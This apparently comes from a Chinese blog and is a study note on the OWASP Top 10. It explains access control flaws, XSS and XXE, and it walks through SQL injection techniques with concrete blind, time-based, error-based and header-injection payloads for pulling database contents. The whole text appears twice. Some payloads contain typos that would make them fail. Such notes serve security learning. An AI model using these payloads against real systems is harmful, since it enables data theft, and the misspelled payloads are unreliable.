admin管理员组

文章数量:1130349

OWASP Web App TOP10是由开放式Web应用程序安全项目组织(OWASP)提出的“十大安全风险列表”,总结了Web应用程序最通用的十大安全风险,旨在帮助IT公司和开发团队规范应用程序开发流程和测试流程,从而提高Web产品的安全性。

OWASP TOP10列表:

1.失效的访问控制(Broken Access Control)

2.加密机制失效(Cryptographic Failures)

3.注入

4.不安全设计

5.安全配置错误

6.自带缺陷和过时的组件

7.身份识别和身份验证错误

8.软件和数据完整性故障

9.安全日志和监控故障

10.服务端请求伪造(SSRF)

下面简单记一下日常遇到较多漏洞

1.失效的访问控制(Broken Access Control)

失效的访问控制(Broken Access Control)这种漏洞指的是我们平时挖的“未授权访问系统”,“未授权使用api”,"越权","目录遍历"等。这种漏洞的产生通常是未做访问控制或访问控制校验不严谨,导致敏感信息泄露或获得系统操作权限。

2.注入

注入通常指在可输入参数的地方,通过构造恶意代码,进而威胁数据库安全以及Web安全等。 常见的注入漏洞有sql注入、xss(跨站脚本攻击)、代码注入、命令注入、xxeXML外部实体注入攻击等。

2.1 sql注入

sql注入原理:SQL注入的原理就是,用户输入字符向数据库请求数据时,对于输入的数据没有严格的过滤或者过滤不全,导致可以构造恶意SQL代码,直接在数据库执行查询。

sql注入类型:联合查询、布尔盲注、延时注入、报错注入、二次注入、其他(宽字节、堆叠、搜索)。

sql注入防御方式:预编译、正则表达式过滤、字符串过滤、转码转译、waf。

sql注入实际利用:

4-1 联合查询注入:联合注入是有回显的一种注入方式,手工注入的时候它每一步会在页面上显示。判断联合注入的时候,首先判断 注入点、注入类型、字段数、看回显

数字型判断:

过程:判断注入点,加单引号 ’ 报错看回显 ‘’

加上 ’ and 1=1 正常执行

加上 ’ and 1=2 页面无数据,但不报错

确定是数字型:

语句:SELECT * FROM USER WHERE id='11 ' AND 1=1 #

字符型:

过程:判断注入点,加单引号 ’ 看报错信息 ‘’’

加上" and1=1 #页面正常,可以闭合

确定类型后,成功闭合后,查询字段数

闭合后+ order by 1 #

报错的前一个数就是字段数

4-2 布尔盲注属于无回显的一种注入方式

原理:因为开发关闭了服务器报错回显信息,我们看不到报错信息,然后猜数据只能通过页面变化看语句能不能正常执行或者是通过延时看否成功。

手工测试:

确定注入点后,加单引号,页面没信息,加单引号并且注释后,页面正常闭合成功’ and 1=1   没信息 | ’ and 1=1 --+ 有信息 | ’ and 1=2 --+ 没信息存在布尔盲注

substr()&& 一位一位的进行猜解,字符串截取

substr(要截取的字符串'开始截取的位置'截取的长度)

length()-.计算字符串长度 length(字符串)

ascll()-ascll()字符转换成ascll

猜数据库长度:获得数据库名的长度

• 说明:通过页面回显判断数据库名长度

• 举例:数据库名为:security

and (length(database()))>7

and (length(database()))>8无回显,说明数据库名长度<8

and (length(database()))=8有回显,说明数据库名长度=8通过改变n 和m获取数据库的字符

猜解数据库名:

and ascii(substr(database(),x,1))>y#

获取表名 :

and ascii((substr((select table_name from information_schema.tables where

table_schema=database() limit x,1),y,1)))=z

获取列名和数据

获取列名(先获取列名个数,再获取列名长度,最后获取列名)

and (ascii(substr((select column_name from information_schema.columns

where table_name='users' and table_schema=database() limit x,1),y,1)))=z#

获得数据

and (ascii(substr(( select 列名 from 表名 limit 0,1),1,1)))=68#

4-3 延时注入:

原理:通过构造延迟注入语句,查看页面响应时间来判断应用场景,页面一直没变化,看不出来变化的时候,可以构造and sleep(5)响应时间会延迟响应5s延时注入会用到布尔盲注的所有函数 length(),substr()、ascill() 函数 if函数 | select if (1= 1 , 1 , 2 ) | 1=1 TRUE返回 1 , FALSE返回 2| select if (1= 2, 1 , 2 ) | 1=2 TRUE返回 1 , FALSE返回 2 sleep函数 | select sleep (5) ; | row in set (5.00 sec) 延时返回 5 s

查询数据库长度:|?id=1 and if ((length=1),sleep(5),1) --+ 如果长度为1 延时5s

猜数据库名:|?id=1 and if ((ascill(substr(datasase(),1,1))=100),sleep(5),1) --+

猜表名:|?id=1 and if ((ascill(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=100),sleep(5),1)–+

猜字段名:|?id=1 and if ((ascill(substr(select column_name from infromation_schema.columns where table_name=‘users’ limit 1,1)=100),sleep(5),1)–+

猜数据名:|?id=1 and if ((ascii(substr((select id users limit 0,1)=100),sleep(5),1)–+

updataxml

参数1:xml文档对象的名称  

参数2:xpath格式的字符串

参数3:替换符合条件的数据

| ?id=1‘ and extractvalue(1,concat(0x7e,database()))

通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误。其中:|?id=-1‘ and (select 1 from (select count(*),concat(database(), floor(rand(0)2))x from information_schema.tables group by x)a)

floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。

rand( ):生成一个0~1之间的随机浮点数。

count(*):统计某个表下总共有多少条记录。

group by x:按照(by)一定的规则(x)进行分组。

4-5 二次注入:

在第一次进行数据库插入的时候,借助特殊字符进行转译,但是插入到数据库中是转译后的结果,一般使用 ’ 单引号,或者 # 拼接到数据库中,因为数据库对自己本身数据信任,没有过滤,或者过滤不足,从而在第二次查询数据的时候被恶意引用拼接。导致数据泄露。

二次注入使用

在第一次向数据库插入数据的时候数据中的特殊字符会被函数进行转译但是转译后的插入到数据库中的。

数据还是原始数据常见的函数,有:addslashes、get_magic_quotes、mysql_escape_string、mysql_real_escape_sring等函数对其中的特殊字符进行转译因为第一次插入得数据使我们故意构造的,常见的构造有单引号 ’ 或者 # ,再次读取它构造SQL代码就会完成恶意代码构造,拼凑成功行成二次注入。

4-6 XXF注入:

HTTP Header中存在X-Forwarded-for参数的调用

原理:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。

hosts IP域名映射文件

当X-Forwarded-For值为*,意味着也可以用类似的sql注入语句代替*。

1、单引号测试,当 X-Forwarded-For:127.0.0.1’ 时:报错

2、可以构造报错注入 X-Forwarded-For:127.0.0.1’,updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #

2.2 xss跨站脚本攻击

XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有:echo printf print print_r sprintf die var-dump var_export.

❶xss原理:攻击者通过向网页中注入恶意脚本,当用户浏览该网页时,恶意脚本会在用户的浏览器上执行,从而窃取用户信息或执行其他恶意操作。

❷xss类型:

反射型XSS:攻击者通过在URL中插入恶意脚本,并诱使用户点击这个链接。当用户点击链接时,恶意脚本会随着请求发送到服务器,而服务器在返回响应时,没有过滤或转义这些恶意脚本,导致它们直接在用户的浏览器中执行。这样,攻击者就可以执行各种恶意操作,如窃取用户信息、劫持会话等。反射型XSS也可以称为非持久性XSS,因为这种攻击方式中的恶意脚本不会永久存储在服务器上,它只会在用户点击链接时一次性执行。

预防措施: 为了防止反射型XSS攻击,Web应用程序应该对用户输入进行严格的过滤和转义,确保所有输出都是安全的,并且在可能的情况下,使用HTTPOnly属性来防止恶意脚本访问cookie等敏感信息。此外,用户也应该保持警惕,避免点击来自不可信来源的链接,以防止被攻击者利用。  

存储型xss:存储型XSS是一种常见的Web安全漏洞,攻击者通过在Web应用程序中注入恶意代码,并将其存储在服务器端。当其他用户浏览这些被污染的页面时,嵌入的恶意代码会自动执行。这种攻击方式主要发生在用户留言板、论坛、博客等交互功能中,攻击者可以在这些地方发布带有恶意代码的留言或内容。此外,如果Web应用程序没有对用户提交的数据进行充分的过滤和验证,恶意代码也可能通过用户提交的表单被存储到数据库中。存储型XSS的危害十分严重,攻击者可以利用恶意代码窃取用户的敏感信息,欺骗用户,甚至控制用户的浏览器。与反射型XSS相比,存储型XSS的恶意脚本一旦存储到服务器端,就能多次被使用,因此也被称为“持久型XSS”。

预防措施:

1.对用户提交的数据进行严格的输入验证,例如限制输入长度、格式等。

2.过滤用户输入,如转义特殊字符,过滤HTML标签等,以防止恶意代码被插入。

3.使用安全的编程语言和框架,如Java、Python等,以及Django、Spring等框架,它们通常具有更好的安全性特性。

4. 实施Content Security Policy(CSP)技术,在HTTP头中设置允许加载的资源来源,限制恶意脚本的执行。

5. 保持网站的软件和系统更新到最新版本,及时修复已知的安全漏洞。

DOM型xss:DOM型XSS(Document Object Model-based Cross-Site Scripting)是一种特殊的跨站脚本攻击方式,它基于Web页面的DOM(文档对象模型)结构进行攻击。在DOM型XSS中,攻击者并不直接修改服务器上的代码或数据,而是通过构造恶意URL或修改页面中的DOM元素,将恶意脚本注入到目标网页的DOM中。当用户浏览这些被污染的页面时,浏览器会解析并执行这些恶意脚本,从而实现攻击者的目的。

DOM型XSS攻击的实现原理

1.攻击者构造一个包含恶意脚本代码的URL,并将其发送给用户。

2.用户点击该URL后,浏览器会解析该URL,并加载目标网页。

3.在目标网页中,攻击者利用JavaScript等前端技术修改DOM结构,将恶意脚本注入到页面中。

4.当浏览器渲染页面时,会执行这些恶意脚本,从而窃取用户信息、执行恶意操作或进行其他形式的攻击。

DOM型XSS攻击的危害性很大,因为攻击者可以操纵整个DOM结构,从而实现对用户浏览器的高度控制。与传统的反射型XSS和存储型XSS相比,DOM型XSS更难检测和防御,因为它不需要与服务器进行交互,且恶意脚本可以隐藏在合法的URL或页面中,难以被识别和过滤。

预防措施:

1.对用户输入的数据进行严格的验证和过滤,避免恶意脚本注入。

2.使用安全的编程技术,如对用户输入进行转义(如HTML实体编码),防止恶意脚本被解析和执行。

3.定期更新和修复Web应用程序及其依赖的库和框架,防止利用已知漏洞进行攻击。

4.实施内容安全策略(CSP),限制浏览器加载和执行外部脚本和资源。

2.3 xxe注入 (XML External Entity Injection)XML外部实体注入

它允许攻击者在XML文档中引用外部实体,从而可能导致信息泄露、拒绝服务攻击、内网端口探测、攻击内网网站等安全问题。XXE漏洞主要出现在应用程序解析XML输入时,如果没有对外部实体引用进行正确的过滤和限制,就可能受到攻击。

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞产生的原因通常是由于应用程序使用了不安全的XML处理库或方法,没有正确配置XML解析器的安全选项,或者没有对用户输入的XML数据进行有效的验证和过滤。

预防措施:

  1. 使用安全的XML处理库和方法,确保XML解析器配置为禁用外部实体引用。

  2. 对用户输入的XML数据进行严格的验证和过滤,确保不包含恶意代码或外部实体引用。

  3. 限制XML文档的大小和复杂度,避免解析大型或复杂的XML文件,以减少潜在的风险。

  4. 实施最小权限原则,确保应用程序只解析和处理必要的XML数据,避免不必要的风险暴露。

OWASP Web App TOP10是由开放式Web应用程序安全项目组织(OWASP)提出的“十大安全风险列表”,总结了Web应用程序最通用的十大安全风险,旨在帮助IT公司和开发团队规范应用程序开发流程和测试流程,从而提高Web产品的安全性。

OWASP TOP10列表:

1.失效的访问控制(Broken Access Control)

2.加密机制失效(Cryptographic Failures)

3.注入

4.不安全设计

5.安全配置错误

6.自带缺陷和过时的组件

7.身份识别和身份验证错误

8.软件和数据完整性故障

9.安全日志和监控故障

10.服务端请求伪造(SSRF)

下面简单记一下日常遇到较多漏洞

1.失效的访问控制(Broken Access Control)

失效的访问控制(Broken Access Control)这种漏洞指的是我们平时挖的“未授权访问系统”,“未授权使用api”,"越权","目录遍历"等。这种漏洞的产生通常是未做访问控制或访问控制校验不严谨,导致敏感信息泄露或获得系统操作权限。

2.注入

注入通常指在可输入参数的地方,通过构造恶意代码,进而威胁数据库安全以及Web安全等。 常见的注入漏洞有sql注入、xss(跨站脚本攻击)、代码注入、命令注入、xxeXML外部实体注入攻击等。

2.1 sql注入

sql注入原理:SQL注入的原理就是,用户输入字符向数据库请求数据时,对于输入的数据没有严格的过滤或者过滤不全,导致可以构造恶意SQL代码,直接在数据库执行查询。

sql注入类型:联合查询、布尔盲注、延时注入、报错注入、二次注入、其他(宽字节、堆叠、搜索)。

sql注入防御方式:预编译、正则表达式过滤、字符串过滤、转码转译、waf。

sql注入实际利用:

4-1 联合查询注入:联合注入是有回显的一种注入方式,手工注入的时候它每一步会在页面上显示。判断联合注入的时候,首先判断 注入点、注入类型、字段数、看回显

数字型判断:

过程:判断注入点,加单引号 ’ 报错看回显 ‘’

加上 ’ and 1=1 正常执行

加上 ’ and 1=2 页面无数据,但不报错

确定是数字型:

语句:SELECT * FROM USER WHERE id='11 ' AND 1=1 #

字符型:

过程:判断注入点,加单引号 ’ 看报错信息 ‘’’

加上" and1=1 #页面正常,可以闭合

确定类型后,成功闭合后,查询字段数

闭合后+ order by 1 #

报错的前一个数就是字段数

4-2 布尔盲注属于无回显的一种注入方式

原理:因为开发关闭了服务器报错回显信息,我们看不到报错信息,然后猜数据只能通过页面变化看语句能不能正常执行或者是通过延时看否成功。

手工测试:

确定注入点后,加单引号,页面没信息,加单引号并且注释后,页面正常闭合成功’ and 1=1   没信息 | ’ and 1=1 --+ 有信息 | ’ and 1=2 --+ 没信息存在布尔盲注

substr()&& 一位一位的进行猜解,字符串截取

substr(要截取的字符串'开始截取的位置'截取的长度)

length()-.计算字符串长度 length(字符串)

ascll()-ascll()字符转换成ascll

猜数据库长度:获得数据库名的长度

• 说明:通过页面回显判断数据库名长度

• 举例:数据库名为:security

and (length(database()))>7

and (length(database()))>8无回显,说明数据库名长度<8

and (length(database()))=8有回显,说明数据库名长度=8通过改变n 和m获取数据库的字符

猜解数据库名:

and ascii(substr(database(),x,1))>y#

获取表名 :

and ascii((substr((select table_name from information_schema.tables where

table_schema=database() limit x,1),y,1)))=z

获取列名和数据

获取列名(先获取列名个数,再获取列名长度,最后获取列名)

and (ascii(substr((select column_name from information_schema.columns

where table_name='users' and table_schema=database() limit x,1),y,1)))=z#

获得数据

and (ascii(substr(( select 列名 from 表名 limit 0,1),1,1)))=68#

4-3 延时注入:

原理:通过构造延迟注入语句,查看页面响应时间来判断应用场景,页面一直没变化,看不出来变化的时候,可以构造and sleep(5)响应时间会延迟响应5s延时注入会用到布尔盲注的所有函数 length(),substr()、ascill() 函数 if函数 | select if (1= 1 , 1 , 2 ) | 1=1 TRUE返回 1 , FALSE返回 2| select if (1= 2, 1 , 2 ) | 1=2 TRUE返回 1 , FALSE返回 2 sleep函数 | select sleep (5) ; | row in set (5.00 sec) 延时返回 5 s

查询数据库长度:|?id=1 and if ((length=1),sleep(5),1) --+ 如果长度为1 延时5s

猜数据库名:|?id=1 and if ((ascill(substr(datasase(),1,1))=100),sleep(5),1) --+

猜表名:|?id=1 and if ((ascill(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=100),sleep(5),1)–+

猜字段名:|?id=1 and if ((ascill(substr(select column_name from infromation_schema.columns where table_name=‘users’ limit 1,1)=100),sleep(5),1)–+

猜数据名:|?id=1 and if ((ascii(substr((select id users limit 0,1)=100),sleep(5),1)–+

updataxml

参数1:xml文档对象的名称  

参数2:xpath格式的字符串

参数3:替换符合条件的数据

| ?id=1‘ and extractvalue(1,concat(0x7e,database()))

通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误。其中:|?id=-1‘ and (select 1 from (select count(*),concat(database(), floor(rand(0)2))x from information_schema.tables group by x)a)

floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。

rand( ):生成一个0~1之间的随机浮点数。

count(*):统计某个表下总共有多少条记录。

group by x:按照(by)一定的规则(x)进行分组。

4-5 二次注入:

在第一次进行数据库插入的时候,借助特殊字符进行转译,但是插入到数据库中是转译后的结果,一般使用 ’ 单引号,或者 # 拼接到数据库中,因为数据库对自己本身数据信任,没有过滤,或者过滤不足,从而在第二次查询数据的时候被恶意引用拼接。导致数据泄露。

二次注入使用

在第一次向数据库插入数据的时候数据中的特殊字符会被函数进行转译但是转译后的插入到数据库中的。

数据还是原始数据常见的函数,有:addslashes、get_magic_quotes、mysql_escape_string、mysql_real_escape_sring等函数对其中的特殊字符进行转译因为第一次插入得数据使我们故意构造的,常见的构造有单引号 ’ 或者 # ,再次读取它构造SQL代码就会完成恶意代码构造,拼凑成功行成二次注入。

4-6 XXF注入:

HTTP Header中存在X-Forwarded-for参数的调用

原理:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。

hosts IP域名映射文件

当X-Forwarded-For值为*,意味着也可以用类似的sql注入语句代替*。

1、单引号测试,当 X-Forwarded-For:127.0.0.1’ 时:报错

2、可以构造报错注入 X-Forwarded-For:127.0.0.1’,updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #

2.2 xss跨站脚本攻击

XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有:echo printf print print_r sprintf die var-dump var_export.

❶xss原理:攻击者通过向网页中注入恶意脚本,当用户浏览该网页时,恶意脚本会在用户的浏览器上执行,从而窃取用户信息或执行其他恶意操作。

❷xss类型:

反射型XSS:攻击者通过在URL中插入恶意脚本,并诱使用户点击这个链接。当用户点击链接时,恶意脚本会随着请求发送到服务器,而服务器在返回响应时,没有过滤或转义这些恶意脚本,导致它们直接在用户的浏览器中执行。这样,攻击者就可以执行各种恶意操作,如窃取用户信息、劫持会话等。反射型XSS也可以称为非持久性XSS,因为这种攻击方式中的恶意脚本不会永久存储在服务器上,它只会在用户点击链接时一次性执行。

预防措施: 为了防止反射型XSS攻击,Web应用程序应该对用户输入进行严格的过滤和转义,确保所有输出都是安全的,并且在可能的情况下,使用HTTPOnly属性来防止恶意脚本访问cookie等敏感信息。此外,用户也应该保持警惕,避免点击来自不可信来源的链接,以防止被攻击者利用。  

存储型xss:存储型XSS是一种常见的Web安全漏洞,攻击者通过在Web应用程序中注入恶意代码,并将其存储在服务器端。当其他用户浏览这些被污染的页面时,嵌入的恶意代码会自动执行。这种攻击方式主要发生在用户留言板、论坛、博客等交互功能中,攻击者可以在这些地方发布带有恶意代码的留言或内容。此外,如果Web应用程序没有对用户提交的数据进行充分的过滤和验证,恶意代码也可能通过用户提交的表单被存储到数据库中。存储型XSS的危害十分严重,攻击者可以利用恶意代码窃取用户的敏感信息,欺骗用户,甚至控制用户的浏览器。与反射型XSS相比,存储型XSS的恶意脚本一旦存储到服务器端,就能多次被使用,因此也被称为“持久型XSS”。

预防措施:

1.对用户提交的数据进行严格的输入验证,例如限制输入长度、格式等。

2.过滤用户输入,如转义特殊字符,过滤HTML标签等,以防止恶意代码被插入。

3.使用安全的编程语言和框架,如Java、Python等,以及Django、Spring等框架,它们通常具有更好的安全性特性。

4. 实施Content Security Policy(CSP)技术,在HTTP头中设置允许加载的资源来源,限制恶意脚本的执行。

5. 保持网站的软件和系统更新到最新版本,及时修复已知的安全漏洞。

DOM型xss:DOM型XSS(Document Object Model-based Cross-Site Scripting)是一种特殊的跨站脚本攻击方式,它基于Web页面的DOM(文档对象模型)结构进行攻击。在DOM型XSS中,攻击者并不直接修改服务器上的代码或数据,而是通过构造恶意URL或修改页面中的DOM元素,将恶意脚本注入到目标网页的DOM中。当用户浏览这些被污染的页面时,浏览器会解析并执行这些恶意脚本,从而实现攻击者的目的。

DOM型XSS攻击的实现原理

1.攻击者构造一个包含恶意脚本代码的URL,并将其发送给用户。

2.用户点击该URL后,浏览器会解析该URL,并加载目标网页。

3.在目标网页中,攻击者利用JavaScript等前端技术修改DOM结构,将恶意脚本注入到页面中。

4.当浏览器渲染页面时,会执行这些恶意脚本,从而窃取用户信息、执行恶意操作或进行其他形式的攻击。

DOM型XSS攻击的危害性很大,因为攻击者可以操纵整个DOM结构,从而实现对用户浏览器的高度控制。与传统的反射型XSS和存储型XSS相比,DOM型XSS更难检测和防御,因为它不需要与服务器进行交互,且恶意脚本可以隐藏在合法的URL或页面中,难以被识别和过滤。

预防措施:

1.对用户输入的数据进行严格的验证和过滤,避免恶意脚本注入。

2.使用安全的编程技术,如对用户输入进行转义(如HTML实体编码),防止恶意脚本被解析和执行。

3.定期更新和修复Web应用程序及其依赖的库和框架,防止利用已知漏洞进行攻击。

4.实施内容安全策略(CSP),限制浏览器加载和执行外部脚本和资源。

2.3 xxe注入 (XML External Entity Injection)XML外部实体注入

它允许攻击者在XML文档中引用外部实体,从而可能导致信息泄露、拒绝服务攻击、内网端口探测、攻击内网网站等安全问题。XXE漏洞主要出现在应用程序解析XML输入时,如果没有对外部实体引用进行正确的过滤和限制,就可能受到攻击。

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞产生的原因通常是由于应用程序使用了不安全的XML处理库或方法,没有正确配置XML解析器的安全选项,或者没有对用户输入的XML数据进行有效的验证和过滤。

预防措施:

  1. 使用安全的XML处理库和方法,确保XML解析器配置为禁用外部实体引用。

  2. 对用户输入的XML数据进行严格的验证和过滤,确保不包含恶意代码或外部实体引用。

  3. 限制XML文档的大小和复杂度,避免解析大型或复杂的XML文件,以减少潜在的风险。

  4. 实施最小权限原则,确保应用程序只解析和处理必要的XML数据,避免不必要的风险暴露。

本文标签: 上篇基础OWASPTOP